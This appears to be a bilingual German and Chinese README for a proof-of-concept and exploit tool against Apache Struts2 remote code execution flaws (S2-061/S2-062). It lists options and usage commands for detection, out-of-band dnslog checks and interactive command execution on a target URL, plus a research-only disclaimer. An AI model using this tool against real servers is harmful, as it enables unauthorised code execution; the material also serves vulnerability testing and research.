z92g/cve-2021-31805S2-061/S2-062 Struts2 Schwachstelle für Remote-Codeausführung POC&EXP
Struts2 Remote Code Execution Schwachstelle (CVE-2020-17530&CVE-2021-31805) POC&EXP
-u 目标url
-m [dnslog|exp] //默认有回显界面字符检查
-n [s2-062] //默认s2-061
-s [windows] //默认linux
-p 漏洞参数
Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测
请自行注册ceye，并配置好ceye.ini
Struts2RCE -u http://127.0.0.1:8080 -m dnslog -n s2-062 //s2-062 dnslog检测,检测速度跟网络和ceye服务器有关，不同url需要清除dnslog记录，否则会造成误判。
存在漏洞情况下，可直接输入漏洞参数进行验证
Struts2RCE -u http://127.0.0.1:8080 -m exp -p id //s2-061漏洞，参数为id的验证，输入q退出
Dieses Tool dient ausschließlich zu Lern-, Forschungs- und Selbstkontrollzwecken. Es sollte nicht für illegale Zwecke verwendet werden. Bitte beachten Sie die geltenden Gesetze und Vorschriften. Jegliches Risiko, das aus der Nutzung dieses Tools entsteht, liegt nicht beim Autor!